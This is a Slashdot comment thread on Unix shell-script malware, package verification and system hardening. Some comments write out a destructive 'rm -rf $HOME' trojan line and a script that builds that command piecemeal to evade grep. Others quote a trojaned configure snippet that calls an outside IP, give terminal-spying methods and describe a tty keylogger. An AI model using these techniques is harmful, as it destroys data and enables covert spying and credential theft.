Slashdot Mirror


Unix Shell-Scripting Malware

sheriff_p writes: "Virus Bulletin are running an article on Unix shell scripting malware, citing a 'zeitgeist' of interest in *nix malware following the release of {Win32/Linux}/Simile.D. The article looks at possible infection methods, possible actions the virus could take, and at a couple of real-world examples..."

212 comments

  1. Easy linux virus transport format: by Anonymous Coward · · Score: 5, Insightful
    RPM


    Come on, how many of you check those MD5s?

    I bet you all just download the thing from whatever mirror and install it as root.

    1. Re:Easy linux virus transport format: by Louis_Wu · · Score: 2
      Speaking of which, I've been looking for ways to install programs as a priveleged user, but with access limited to only what's needed to install a program. Is there a way to do this? Do I need to create a user and manipulate permissions to do this? Is there an easier solution.

      I haven't checked the authenticity of programs I've downloaded (it's a good thing that I haven't downloaded too much), so I'm living dangerously; I'd like to be safer.

    2. Re:Easy linux virus transport format: by kylus · · Score: 3, Interesting

      You could take a look at the NSA's Security Enhanced Linux patch, which allows for a much finer-grained control over access to files on the system. It's a bit complex but it sounds like the answer to your question.

      --
      --Kylus
      Idiot-proof something, and Life will build a better Idiot.
    3. Re:Easy linux virus transport format: by garett_spencley · · Score: 1

      I do.

      But I'm the security administrator. I have to....

      --
      Garett

    4. Re:Easy linux virus transport format: by Louis_Wu · · Score: 2, Funny

      I might have to take off my aluminum foil hat to do that! :) Thanks for the advice, I'd forgotten about No-Such-Agency's mod.

    5. Re:Easy linux virus transport format: by ninewands · · Score: 2

      Like everything else about n*x, the Perl motto holds true. &nbspTMTOWTDI (There's More Than One Way To Do It).

      Simplest and most traditional way to set this up would be to create a group (named, say "installers") and add yourself to it, then change the group ownership of /usr/local to this group. Change the permissions on /usr/local to 775 and you are done. If you are wanting to install stuff in /usr instead of /usr/local, I really recommend you not do this. The basic system binaries should remain the property of root.

      A more secure way to do it would be the way the previous poster said. Install the LSM patch and the LSM implementation of the NSA's SELinux kernel mods. I've not used it, but my understanding is the its role-based permissions allow you to do away with uid 0 in toto.

    6. Re:Easy linux virus transport format: by Anonymous Coward · · Score: 1, Informative

      You can always give a non-super user rights to install stuff into /usr/local for example. Hint: Groups.

    7. Re:Easy linux virus transport format: by Chuuk+Noris · · Score: 3, Informative

      Come on, how many of you check those MD5s?

      I don't. If someone has replaced an RPM then they can probably replace a simple MD5 sum as well. Unless of course the hashes are stored at a different, secure location. But how many vendors do that?

      What you should be checking are PGP signatures.

      Assuming, of course, that you can be sure that you have a legitimate public key. Even so, the damage that could be caused by replacing a company's public key on their website or a keyserver would be slim to none. Only the people who download the new key before the change is caught would be effected.

      --
      -- "--," ?
    8. Re:Easy linux virus transport format: by Anonymous Coward · · Score: 1, Informative

      Debian already does this by default. Every directory in /usr/local has 775 perms (owned by root.staff), with the s-bit set for the staff group.
      Of course that still won't stop someone from the staff group to install virused-software into /usr/local, but at least the risks are a little bit more compartimentalized (though not perfectly safe, unless you only login as root directly at the console, as some viruses may attach themselves to a staff user's .bashrc and wait for him to run 'su' to obtain the root password and do its thing...)

    9. Re:Easy linux virus transport format: by btellier · · Score: 3, Informative

      Checking MD5's.. bah. Check them against what? What the web page tells you they should be? If the server holding the RPM's has been hax0red and the RPM's have been trojaned why wouldn't the hacker just replace the MD5 signatures as well?

      Oh sure, hold them in a "secure location". Obviously these people who get their servers hacked and their RPM's trojaned have an excellent idea of what a secure server is.

      The best way isn't to check MD5's but instead to do all your rpm queries before installing and use the most verbose settings possible while installing.

    10. Re:Easy linux virus transport format: by Anonymous Coward · · Score: 0

      Use Solaris, and use RBAC
      (Role Based Access Control)

    11. Re:Easy linux virus transport format: by espo812 · · Score: 1
      Even so, the damage that could be caused by replacing a company's public key on their website or a keyserver would be slim to none. Only the people who download the new key before the change is caught would be effected.
      My worry is modifying the key in transport. Picture a person able to control the link between you and the website or keyserver. They monitor a request for a particular key, then they perform a man-in-the-middle attack to replace the key en route. The end user thinks he has the right key, but it's really my key - that I signed the hacked packages I supply.

      It's hard to use keys securely. You've got to verify the fingerprint and such with the person via a good method.
      --

      espo
    12. Re:Easy linux virus transport format: by scrytch · · Score: 2

      Simple solution to that problem: web of trust. A replaced key would have to replace the entire web of trust. Trusting a key that is not itself signed is like not using signatures at all.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    13. Re:Easy linux virus transport format: by packeteer · · Score: 1

      how many of you scroll through each line of code in a tar.gz file looking for malicious code?... i dont... personally i use RPM & tar.gz so im not saying one is better or worse...

      --
      unzip; strip; touch; finger; mount; fsck; more; yes; unmount; sleep
    14. Re:Easy linux virus transport format: by Afrosheen · · Score: 2

      Makes me grateful I run Mandrake 8.2 most of the time. Any urpmi activity from the internet is precluded with an md5checksum routine. Mandrake users: launch rpmdrake from a console and hit the MandrakeUpdate button. You'll see what I'm talking about.

      Now about those other distros that use RPM, I have no idea.

    15. Re:Easy linux virus transport format: by 1155 · · Score: 1

      I installed what I needed, so I am going to remove root. Yes, this will make me inVulnerable to all attacks at root!!!!

      All jokes asside, if you are this paranoid, download the official rpm's off of cd's you buy from best buy or comp usa. Sure, they may be old, but there is no way that you can get hax0red doing this, now is there? :)

    16. Re:Easy linux virus transport format: by arivanov · · Score: 2

      So?

      This helps you only for mirrors. It does not help you a single bit for packages or source that has been built or mantained by the compromised site because it is likely that its keys are compromised as well.

      --
      Baker's Law: Misery no longer loves company. Nowadays it insists on it
      http://www.sigsegv.cx/
    17. Re:Easy linux virus transport format: by LinuxHam · · Score: 3, Informative

      Come on, how many of you check those MD5s?

      Actually, Ximian's Red Carpet does it automatically, so many of us do. Whether they're checking against MD5's published at RedHat or Ximian (a Good Thing) or checking against MD5's that are just brought down as part of the mirroring process (a Bad Thing), I don't know.

      --
      Intelligent Life on Earth
    18. Re:Easy linux virus transport format: by Mark+Bainter · · Score: 2
      Shyeah. Cause all those people doing binary installs with dpkg always check their packages.

      I'm so tired off all this anti-rpm bullshit. The best you can hope for is to get your packages from a trusted source. Yes it is a good idea to check the md5 signatures, but seeing as how they are generally stored together with the packages it's quite likely they were changed too, so it doesn't give you much.

      Signing/checking with public key signing is much much better.

      The same exact problems plaque binary AND source tarballs. So singling out a single pkg format is just ridiculous.

      --
      "No nation could preserve its freedom in the midst of continual warfare."
      --James Madison
    19. Re:Easy linux virus transport format: by ggeens · · Score: 1

      So singling out a single pkg format is just ridiculous.

      I don't think the poster specifically meant to target RPMs, but included them simply as an example.

      All distributions I know supply the MD5 sums for their packages (whether .rpm, .tgz, .deb or other). It's up to the user to check them (and as the poster pointed out, they probably don't).

      Signing/checking with public key signing is much much better.

      Debian packages are signed with the maintainer's key. Unfortunately, the standard configuration file disables the checking of this signature.

      --
      WWTTD?
    20. Re:Easy linux virus transport format: by scrytch · · Score: 2

      Maintainer builds package. Maintainer signs package. Maintainer's key is signed by distribution site. Distribution site's key is signed by many other maintainers, including the maintainer you trust. Big web of trust, long as you remember that they're only verifying authenticity, not intent.

      A maintainer's secret key is compromised, without their knowledge, and used to write malware: you are SOL. For all technical purposes, it is the maintainer you trusted that inserted the malware.

      Your 'So?' is like saying the bank vault door is useless if the lock on it isn't strong or isn't locked. True enough, but it doesn't really say much unless the lock is indeed weak or unlocked.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    21. Re:Easy linux virus transport format: by Mark+Bainter · · Score: 1
      I don't think the poster specifically meant to target RPMs, but included them simply as an example.

      I appreciate what you are trying to do here. However, unfortunately, years of being on mailing lists has exposed me to this on too many occaisions for me to believe that is the case.

      If the issue was package management and distribution in general then RPM would not have been singled out. It's popular and fashionable to rag on RPM and RedHat. I just get tired of hearing it.

      --
      "No nation could preserve its freedom in the midst of continual warfare."
      --James Madison
  2. Unix is behind the times again! by Fantanicity · · Score: 5, Funny

    Windows has had batch file viruses for ages.

    1. Re:Unix is behind the times again! by TweeKinDaBahx · · Score: 0, Flamebait

      Isn't that special?

      I can write a shell script as root to create a super-user account, delete everything installed, format, and reboot the computer. IT MUST BE A VIRUS!!!

    2. Re:Unix is behind the times again! by Fantanicity · · Score: 1

      It doesn't delete everything and format. It replicates by exploiting a feature of zipfiles.

    3. Re:Unix is behind the times again! by CoolVibe · · Score: 2
      NOTE: sarcasm

      Well, shall we remove all scripting from the UNIX shells so these threats don't have a chance? Oh, and lets boycot perl too. It's too damn flexible. A malicious user could write a virus with it with great ease! Oh, and while we're at it, lets abolish compilers too. *mutter* *mutter* *mutter*

      (yes, this wasn't meant seriously. but it _is_ on topic :)

  3. Simile? by Anonymous Coward · · Score: 0

    Simile.D? I thought that was Smile.D...

  4. Re:And... by JoeBuck · · Score: 3, Insightful

    Actually, if I were inclined to mod you down, it would be because the first Unix worm came out in 1988.

  5. Latex by El+Pollo+Loco · · Score: 0

    This is why I only handle any sort of computer with latex gloves. Oh wait, not THAT kinda virus....

    1. Re:Latex by TweeKinDaBahx · · Score: 0

      Yeah, we're not worried about the computer infecting you, it's you infecting the computer.

    2. Re:LaTeX by distributed.karma · · Score: 0, Offtopic

      Hmm, I also use latex a lot when working with computers. Oh wait, not THAT kinda latex..

      --

      --
      If you moderate this, then your children will be next.

  6. Re:And... by MaxVlast · · Score: 1

    Boy did it!

    --
    There should be a moratorium on the use of the apostrophe.
    Max V.
    NeXTMail/MIME Mail welcome
  7. Some points to note...this is not so new by Real+World+Stuff · · Score: 3, Interesting

    The problem with trying to pipe both input and output to an arbitrary slave process is that deadlock can occur, if both processes are waiting for not-yet-generated input at the same time. Deadlock can be avoided only by having BOTH sides follow a strict deadlock-free protocol, but since that requires cooperation from the processes it is inappropriate for a popen()-like library function.

    The 'expect' distribution includes a library of functions that a C programmer can call directly. One of the functions does the equivalent of a popen for both reading and writing. It uses ptys rather than pipes, and has no deadlock problem. It's portable to both BSD and SV. See the next answer for more about 'expect'.

    There are a few different ways you can do this, although none of them is perfect:
    * kibitz allows two (or more) people to interact with a shell (or any arbitary program). Uses include:
    - watching or aiding another person's terminal session;
    - recording a conversation while retaining the ability to scroll backwards, save the conversation, or even edit it while in progress;
    - teaming up on games, document editing, or other cooperative tasks where each person has strengths and weakness that complement one another. For example:
    1) kibitz comes as part of the expect distribution.
    2) kibitz requires permission from the person to be spyed upon.

    To spy without permission requires less pleasant approaches:
    * You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question,
    displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
    have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.

    * If you want to do this to a particular hard-wired terminal all the time (e.g. if you want operators to be able to check the console terminal of a machine from other machines), you can actually splice a monitor into the cable for the terminal. For example, plug the monitor output into another machine's serial port, and run a program on that port that stores its input somewhere and then transmits it out
    *another* port, this one really going to the physical terminal. If you do this, you have to make sure that any output from the terminal is transmitted back over the wire, although if you splice only into the computer->terminal wires, this isn't much of a problem. This is not something that should be attempted by anyone who is not very familiar with terminal wiring and such.

    --
    If we don't fight for ourselves no one will.
    1. Re:Some points to note...this is not so new by digitalhermit · · Score: 4, Interesting

      To spy without permission requires less pleasant approaches:
      * You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question, displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
      have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.


      Some thoughts on seeing what someone else sees:

      If you can manage to get read permissions on Linux under /dev/vcs* you can also read the virtual consoles directly. This *might* require root access, but not always :).

      screen can be setup with similar functionality to kibitz.

      With insecure X permissions, you can use xwd to dump images from a remote xserver. With a short script you can also grab remote keypresses and events for logging.

    2. Re:Some points to note...this is not so new by Erotomek · · Score: 2, Interesting

      With insecure X permissions, you can use xwd to dump images from a remote xserver. With a short script you can also grab remote keypresses and events for logging.

      It reminds me about OS (Output Spy, not Operating System) from many, many years ago. Here's an OS and JEDGAR story from the Jargon File:

      This story says a lot about the ITS ethos.

      On the ITS system there was a program that allowed you to see what was being printed on someone else's terminal. It spied on the other guy's output by examining the insides of the monitor system. The output spy program was called OS. Throughout the rest of the computer science world (and at IBM too) OS means `operating system', but among old-time ITS hackers it almost always meant `output spy'.

      OS could work because ITS purposely had very little in the way of `protection' that prevented one user from trespassing on another's areas. Fair is fair, however. There was another program that would automatically notify you if anyone started to spy on your output. It worked in exactly the same way, by looking at the insides of the operating system to see if anyone else was looking at the insides that had to do with your output. This `counterspy' program was called JEDGAR (a six-letterism pronounced as two syllables: /jed'gr/), in honor of the former head of the FBI.

      But there's more. JEDGAR would ask the user for `license to kill'. If the user said yes, then JEDGAR would actually gun the job of the luser who was spying. Unfortunately, people found that this made life too violent, especially when tourists learned about it. One of the systems hackers solved the problem by replacing JEDGAR with another program that only pretended to do its job. It took a long time to do this, because every copy of JEDGAR had to be patched. To this day no one knows how many people never figured out that JEDGAR had been defanged.

      Interestingly, there is still a security module named JEDGAR alive as of late 1994 -- in the Unisys MCP for large systems. It is unknown to us whether the name is tribute or independent invention.

      --

      Krótko: kady Erotomek
      W pimiennictwie ma swój domek.

    3. Re:Some points to note...this is not so new by moocat2 · · Score: 1

      The problem with trying to pipe both input and output to an arbitrary slave process is that deadlock can occur, if both processes are waiting for not-yet-generated input at the same time. Deadlock can be avoided only by having BOTH sides follow a strict deadlock-free protocol, but since that requires cooperation from the processes it is inappropriate for a popen()-like library function.


      This is not true if you are using a *nix that implements non-blocking I/O. If the master process makes sure to never block when communicating with the slave process, there is no reason that deadlock should occur.

  8. Re:And... by meringuoid · · Score: 2, Informative

    Actually, the Morris Internet Worm struck way, way back in 1988...

    --
    Real Daleks don't climb stairs - they level the building.
  9. Re:And... by overbom · · Score: 3, Funny


    One thing to consider is which side of the cross-system vulnerability the mass distribution of the virus is coming from. Is it coming from a large handful of UNIX/Linux servers or is it going to come from the ENORMOUS FRICKING SLEW OF OPEN RELAY EXCHANGE SERVERS AND THE DROOLING HORDE OF UNPATCHED NO-VIRUS PROTECTION SLACK-JAWED OUTLOOK USERS?

    Second, to be anal and nitpicky -- The first unix worm came out in about '88, it was the now-famous sendmail worm.

    A parting thought -- people in IT tend to bash the products that they support that suck.

  10. This is news... by Anonymous Coward · · Score: 0

    Batch file virii (or shell script or whatever name you prefer) are older than most /. readers. Is this news?

  11. Re:And... by MrResistor · · Score: 2

    Like just about everything else in computing, worms were also invented in Unix. There's a good reason we haven't heard of any in the last 10 years or so. It seems to be time for you to bone up on your history of computing.

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  12. Re:And... by Llanfairpwllgwyngyll · · Score: 2

    Of course, windows didn't actually get as far as COLOUR until after the 1988 Morris worm. Does Virus Building Script programming *work* in monochrome? (I have windows versions 1.03 and 2.0 sitting in my Black Museum of Computer History :-)

  13. Well, that went down quicker than a lead frisbee. by Anonymous Coward · · Score: 0

    Does anybody have a mirror?

  14. Re:And... by dzym · · Score: 2

    I suppose Ramen doesn't count.

  15. Not that special... by CoolVibe · · Score: 5, Insightful
    A *NIX trojan/malware is easy to craft.

    For example, take shell archives (shar). Nobody even bothers to read through them, and it's real easy to stick a

    rm -rf $HOME

    in there somewhere. There, instant malware. And it's age-old. What about ./configure scripts? Or Makefiles? Nice targets to pass on to the unsuspecting punter.

    1. Re:Not that special... by digitalhermit · · Score: 3, Interesting

      Certainly it's easy to create scripts that can do nasty things. I guess the main difference between some other OS vulnerabilities is that to infect a machine, I may need only send an email. For some other OSes, I would need to send a package, have them su to root, run ./configure and make install. In any case, I'm not convinced that any OS is inherently more secure than any other.
      For example, at the last company I worked for, the access to a database system was done through a .profile that automatically launched the db client. On exit from the client it would automatically log the user out. Apparently they believed that this would disable access to the shell for the user. Unfortunately, it was a simple matter to print an ASCII report and overwrite the .profile, thus allowing the next login to enjoy the benefits of the shell.

    2. Re:Not that special... by Anonymous Coward · · Score: 0

      I never use ./configure or Makefiles.

      I do gcc *.c, and if that doesn't work, I delete the whole thing because it is badly designed.

    3. Re:Not that special... by stevey · · Score: 1

      Or even a Trojan'd compiler - which would be pretty hard to spot..

    4. Re:Not that special... by CoolVibe · · Score: 2
      Yup indeed. You made my point even better.

      Thank you for that :)

      Oh, I love UNIX, I use it exclusively at home, but people saying thatt *nix is invincible 1) piss me off, 2) should hand in their advocacy badges. The malware suddenly "appearing" in popular unixes just goes to show that how more visible a platform becomes, the more viruses [1] suddenly appear.

      By the way, using the printing facility to overwrite files in $HOME is more like making software do what it's not supposed to do just to prove a point: a hack, be it one that's possible often (a bit like printing to a file called `/bin/sh -i |` or something else in that ilk :) But yes, "malware" could exploit these bugs and "spread" futher.

      [1] No I don't spell it like 'virii' anymore. Webster's told me not to

    5. Re:Not that special... by CoolVibe · · Score: 2
      Yep, the good ole Ken Thompson classic :)

      Now _HOW_ the _FRIGGIN_ hell did login get trojaned?!?! I'm _sure_ I reainstalled the compiler from scratch. It _can't_ be from there! ;-) <-- notice the wink, yes an attempt at sarcasm.

    6. Re:Not that special... by Anonymous Coward · · Score: 0

      so what does `a.out` do on your system?

    7. Re:Not that special... by Anonymous Coward · · Score: 0

      run the latest thing I compiled of course!

    8. Re:Not that special... by vegetablespork · · Score: 1

      Nothing, because he's paranoid and the current directory in his path. ./a.out, though, runs whatever he last compiled.

      --

      Call (206) 338-5780 COLLECT for information about a genuine BA, BS, MA, MS, MBA, or Ph.D.

    9. Re:Not that special... by John+Hasler · · Score: 2

      Why would you run ./configure as root? And the only make command you might need to run as root is 'make install'.

      If you want to be paranoid you could download only official Debian source packages and always check the signatures.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    10. Re:Not that special... by CoolVibe · · Score: 2
      There are clueless people out there that do it and cause it to "spread". Just like those dunces that click on trojaned outlook attachements.

      Tha apt argument: Being a little paranoid about signatures is not a bad thing. But what if your local debian mirror becomes compromised? Would you notice? I doubt it. Will apt notice? I don't think so.

    11. Re:Not that special... by btellier · · Score: 5, Interesting

      >What about ./configure scripts?

      Actually that seems to be the new trend amongst hax0rs who trojan program distributions. Recently it was reported to bugtraq that monkey.org was compromised and several programs including fragroute and dsniff were altered. Read the explanation of how that happened here.

      What did the hax0rs add? A little present in the ./configure script. Among other things it creates a .c file called conftest with some interetsing "checks" in it:

      ...
      + sa.sin_addr.s_addr = inet_addr("216.80.99.202");
      if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) ...

      It connects to the above address on port 6667 and does some other nonsense. Then it's compiled and run. The user is none the wiser unless he takes the time to read the ENTIRE ./configure script.

      You can find the full diff here.

    12. Re:Not that special... by John+Hasler · · Score: 2

      "But what if your local debian mirror becomes compromised? Would you notice? I doubt it. Will apt notice? I don't think so."

      How is the cracker going to get himself added to the Debian keyring?

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    13. Re:Not that special... by CoolVibe · · Score: 2
      Exactly! Mod the parent up please. It's an excellent example.

      Another option is to trojan a deeply buried Makefile or a Makefile.in in some application. Good luck digging through all the Makefiles or Makefile.in files for weird make targets...

      Heck, one could even use the make @ prefix to make compiling that little trojan app silent...

    14. Re:Not that special... by CoolVibe · · Score: 2
      How about compromising a debian developer's machine and grabbing his/her passphrase with a software keylogger that hooks the tty?

      Not to crack down apt, it's a neat system. But it's not perfect. Nothing is.

      End of pissing contest please...

    15. Re:Not that special... by damiam · · Score: 1

      Does it matter? apt doesn't check signatures.

      --
      It's hard to be religious when certain people are never incinerated by bolts of lightning.
    16. Re:Not that special... by quantaman · · Score: 2, Funny

      rm -rf $HOME

      What does that command do again? Hmm, could use man but those pages are always such a pain... well why don't we just type er in the console and see what happens...
      hey!
      where is my ...
      wait a min...

      NOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!

      --
      I stole this Sig
    17. Re:Not that special... by weathergeek · · Score: 1

      to counter these mal-scripts, I suppose one could create a program/script that would search these text files for certain commands, and check to see how they're used. If it finds, for example, "rm" being used with the "-rf" options, the program/script would warn the user of a potentially damaging script.

    18. Re:Not that special... by CoolVibe · · Score: 2
      well, that would work somewhat, but what if it's obfuscated :)

      I guess you might be somewhat in the right direction if you make the -i switch for rm the default (with an alias or something). Then it will ask you if you're sure you want to erase $HOME.

      Trying a suspect script out in a chrooted cage or a non-networked FreeBSD jail would be an idea too.

    19. Re:Not that special... by friedmud · · Score: 2

      Problem with that....

      What do you think "make uninstall" does??? A WHOLE BUNCH OF rm -f! That command doesn't exist just so people can talk about it on slashdot....

      Derk

    20. Re:Not that special... by ruriruri · · Score: 1
      in my computer science classes i always added commands to mail me when someone was running my homework programs--just out of curiosity. of course the TAs could never read the source of everyone's program, so the danger of it being discovered was insignificant.

      turns out the programs were usually run directly under the TA or professor's UID, so it could easily have been destructive (or constructive!).

    21. Re:Not that special... by Anonymous Coward · · Score: 0

      Of course, that makes you completely immune to, oh, say a

      system("rm -rf /home/*")

      in the middle of some .c file, now doesn't it?
      </sarcasm>

      Guess IHBT.

    22. Re:Not that special... by Erotomek · · Score: 2, Insightful

      A *NIX trojan/malware is easy to craft. For example, take shell archives (shar). Nobody even bothers to read through them, and it's real easy to stick a rm -rf $HOME in there somewhere. There, instant malware. And it's age-old. What about ./configure scripts? Or Makefiles? Nice targets to pass on to the unsuspecting punter.

      It's easy to stick "rm -rf $HOME" but it's also easy to grep for "rm -rf" or similar strings. It can be much more dangerous with such code like this:

      #!/bin/sh
      lots of code...
      some code;b=m;some code
      lots of code...
      some code;b=r$b;some code
      lots of code...
      some code;c=r;some code
      lots of code...
      some code;d=f;some code
      lots of code...
      some code;c=-$c;some code
      lots of code...
      some code;c=$c$d;some code
      lots of code...
      some code;e=~;some code
      lots of code...
      some code;a="$b $c";some code
      lots of code...
      some code;a="$a $e";some code
      lots of code...
      some code;$a;some code
      lots of code...

      Here the ;$a; is the killer. A simple Perl script could insert parts of such commands into a configure script. The only solution is to not run any code which you don't trust. It can be quite difficult (if not impossible), because you not only have to trust the author that he's not evil, but also you have to trust that he was never r00ted by someone evil. I think that I can be safe apt-get'ting software from push-primary/secondary Debian mirrors (I think that their admins are good and before the software gets to the mirrors it's checked by the Debian folks — maybe Sid may be not safe, but Woody and Potato are checked by many people, by reading the code, as well as by running the software), but probably trusting the CPAN is not very safe, because the code is not checked by anyone before it gets to the mirrors, so if a PAUSE user is r00ted by evil haxorz, his code on CPAN can be easily trojaned.

      (for lame filter: x384yrgnfqpeiruchf,xoerjg,cnw;orihj,adoixhjeorg,xw rg uiirumzgipergpiwehrx,gcmopeirjhpqojtcn 3409ic p34c1541xc541 ewsfdcerycwty r;qeiorqo;ewirjfoqeir hoqeirh oqeirh oiwerhfoq;wihrt134pq'wo e'rqwj v0u45tnv 0245tvuj45yji2c6 y2 y62y6vf reihfoqieurc0143[x'.rqszmq39u4sxn18yt38pas,u54z2 2p9syt29pasyt2qtputa/ori)

      --

      Krótko: kady Erotomek
      W pimiennictwie ma swój domek.

    23. Re:Not that special... by Art+Tatum · · Score: 2
      Trying a suspect script out in a chrooted cage or a non-networked FreeBSD jail would be an idea too.

      True. But what if the script doesn't do anything obviously harmful? What if it just phones home or installs a slightly modified binary that will phone home? A really obvious attack ('rm -rf') is actually less problematic than something subtle. Using your machine for illegal acts or slight modification of a database (think financial here) could be far worse.

  16. Zeitgeist? by Anonymous Coward · · Score: 0

    "Zeitgeist" means "Spirit of the age". Probably not what you mean.

  17. Uhhhh, huh? by Misuta+Supakulo · · Score: 5, Insightful

    I guess someone forgot that long before windows ever existed old school operating systems like unix and vms were being "haxored" like there was no tomorrow. Don't forget that the big, bad Morris worm of 19 friggin' 88 was an exploit of BSD unix. The reason MS software is the punching bag these days is largely because 1) unix has had time to mature and correct its mistakes, 2) the concept of a windows system administrator is pretty much laughable and windows services are just about written with that in mind (IIS is pretty much designed to be administerable by brain-dead monkies, for example), and 3) microsoft's iron grip monopoly hold on a few areas (workstation OS's) has made it complacent when it comes to quality and security.

    Regardless, unix never was and is not currently invulnerable to these kinds of attacks. The major reason why the vulnerabilities of unix systems and related software has not received much publicity (or much concentration of effort from "hackers") is because, as in the wild, it is simply so much easier to pray on the diseased and enfeebled.

    --

    --
    He lied to us through song. I hate when people do that!
    1. Re:Uhhhh, huh? by I_redwolf · · Score: 3, Insightful

      1) Unix has always been alot more functional and featureful when it came to anything back then. IE: Dos didn't even multitask

      2) I agree with, but just because it's designed to be controlled by a brain dead monkey doesn't mean that it should be insecure. For instance NASA/RSA/etc create interfaces to far more critical components that can't afford to fail; they are controlled by monkeys. Another example is simply Mac OS X, they've done a stellar job with administration utilities that make it easy but secure (at least in respect to say Microsoft).

      3) "Hackers/Crackers" who go after the desktop are usually just script kids who take a researched exploit and write some lame stupid trojan that preys on as you said the feeble. However it becomes harder to break a system that has been tried/tested and proved over time. As you say, unix never was invulnerable but it is harder for a unix system to be vulnerable just by it's design. Just like a 4x4 built for off-roading it's still vulnerable to get stuck somewhere like a car; but less vulnerable. Usually on the net if you want a secure box with very few problems you put up a unix system and 9 times outta 10 you won't get stuck.

      So everytime people talk like somehow unix doesn't get hacked because it doesn't have market share I remind them what the net was built on and what it was founded on. I then refer them to the track record of unix in stability and security. Unix has been around longer is more secure and was designed that way, thats why you see less exploits for it. I usually also recommend people actually try to put a rogue rpm/script or whatever out there and see how far it makes it in the wild for a unix system and then duplicate some of the same effects on a windows machine if possible and notice the difference. It really has nothing to do with market share.

    2. Re:Uhhhh, huh? by jonbelson · · Score: 1

      > I guess someone forgot that long before windows
      >ever existed old school operating systems like >unix and vms were being "haxored" like there was
      >no tomorrow. Don't forget that the big, bad Morris >worm of 19 friggin' 88 was an exploit of BSD unix.

      It wasn't 'an exploit of BSD', the worm used holes in sendmail and fingerd to propagate - it transferred source across and compiled itself on the infected machine. Once running, it would attempt to guess passwords, too.

      See Clifford Stoll's 'The Cuckoo's Egg' for more details.

      --Jon

      http://www.witchspace.com

  18. Got root? by Trevelyan · · Score: 2, Insightful

    To do anything these viruses need to run as root. But the article make no mention of this, or how a virus could get root.

    If the user is using root as their user account, then its their fault if they get infected. Maybe trick the user, I know I worry about installing closed source stuff as root, hance my UT and Tribes2 is installed under another user.

    Yes a virus could have fun in /tmp doing stuff, and maybe write to a users .bashrc (or equiv) so the virus get to run when ever the user logs in.
    But I dont see how a virus could do much more then mess with that user's files, it cant play with other users on the system (unless they get infected) and it cant attack the system itself

    1. Re:Got root? by Stonehand · · Score: 3, Interesting

      For one thing, there are probably numerous boxes with nice broadband -- a virus could use a user account as a launchpad for a DDOS, for instance. In addition, boxes may be lacking patches or workarounds for any recent local exploits, so one might theoretically be able to get root privs without tricking root.

      Depending on what's limited, one might try to fill up /tmp, generate lots of logs and possibly fill /var/adm/syslog or wherever, maybe fill the process table via fork bomb depending on how processes are limited, grab the user's cookies and browser history files for popular browsers and e-mail them to people, consume large amounts of memory (again, unless limited per user) forcing swap...

      --
      Only the dead have seen the end of war.
    2. Re:Got root? by CoolVibe · · Score: 2
      Quoth the poster:

      > To do anything these viruses need to run as root. But the article make no mention of this, or how a virus could get root.

      Oh ye of little understanding...

      What if a "virus" just nukes your $HOME? Say goodbye to that 45 page thesis you slaved over the last few weeks..

      Or, let's say you are a wheel user, you execute this innocent looking malware, and suddenly a daemon gets started that hooks into your (pseudo) tty (because, when you log in, they get chowned to you) and logs your keystrokes? You su to root, and the keystrokes get mailed somewhere... with your box IP number and username. Well, the attacker just got your root password. Worried yet?

      A "virus" doesn't need root. It just needs a uncareful human.

    3. Re:Got root? by John+Hasler · · Score: 2

      "Oh ye of little understanding..."

      Indeed.

      "What if a "virus" just nukes your $HOME?"

      What if /home is mounted noexec, as it should be?
      A secure system is configured so that only root can install executables.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    4. Re:Got root? by byran+lei · · Score: 0

      >A "virus" doesn't need root. It just needs a uncareful human.
      >
      Get lost, Windows troll. The fact of the matter if you get burned by your stupidity of not doing a simple backup of your home directory for no other reason than to protect yourself from your *OWN* screw-ups like deleting that 45 page thesis, you deserve what you get.

    5. Re:Got root? by CoolVibe · · Score: 2
      That's kinda tough when you have developers on your system. How the hell are they going to actually _run_ stuff? I think being able to run stuff from your $HOME is a bit of a necessity for people who code for a living.

      If it were just people reading mail and doing basic stuff from the shell you would be right though. But still, what if a user, frustrated because he can't run some app in his $HOME, turns to /tmp, /var/tmp, /usr/tmp or (sometimes) even /var/spool/uucp (which is usally chmodded 1777 and appears on lots of systems that don't even _have_ uucp installed)? Sure, mount your root fs or /usr fs noexec when these dirs are not mounted on a seperate filesystem (which happens on lots of systems)... Have fun recovering :)

    6. Re:Got root? by CoolVibe · · Score: 2
      (Okay I'll bite)

      Windows troll? ROFL! That's the first time someone ever called me that for being critical and a devils advocate. This _must_ be slashdot :)

      Try UNIX administrator and developer with over 7 years of experience with the wonderful platform (Linux, IRIX, *BSD, SunOS and Solaris, if you really want to know).

      I _know_ what I'm talking about. And no, it's not personal experience, just speculation. And real threats.

      Pick up the Practical Internet and UNIX security book from Garfunkel et al, and be enlightened. It's an old book, but it already mentioned malware and trojans on UNIX systems.

      Watch who you're trying to troll. I'm not some fucking newbie.

      And I'll leave it at that :)

    7. Re:Got root? by John+Hasler · · Score: 2

      "That's kinda tough when you have developers on your system. How the hell are they going to actually _run_ stuff?"

      On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only. Give each developer a directory in the scratch filesystem and symlink it into his $HOME. This also will protect you when one of those programs they want to run goes amuck.

      "...what if a user, frustrated because he can't run some app in his $HOME, turns to /tmp, /var/tmp, /usr/tmp..."

      /tmp and /var should be noexec partitions.

      "Sure, mount your root fs...

      Only root needs write permission on the root filesystem.

      or /usr fs noexec..."

      /usr should be read-only.

      ..."when these dirs are not mounted on a seperate filesystem..."

      Such systems are not configured securely.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    8. Re:Got root? by CoolVibe · · Score: 2

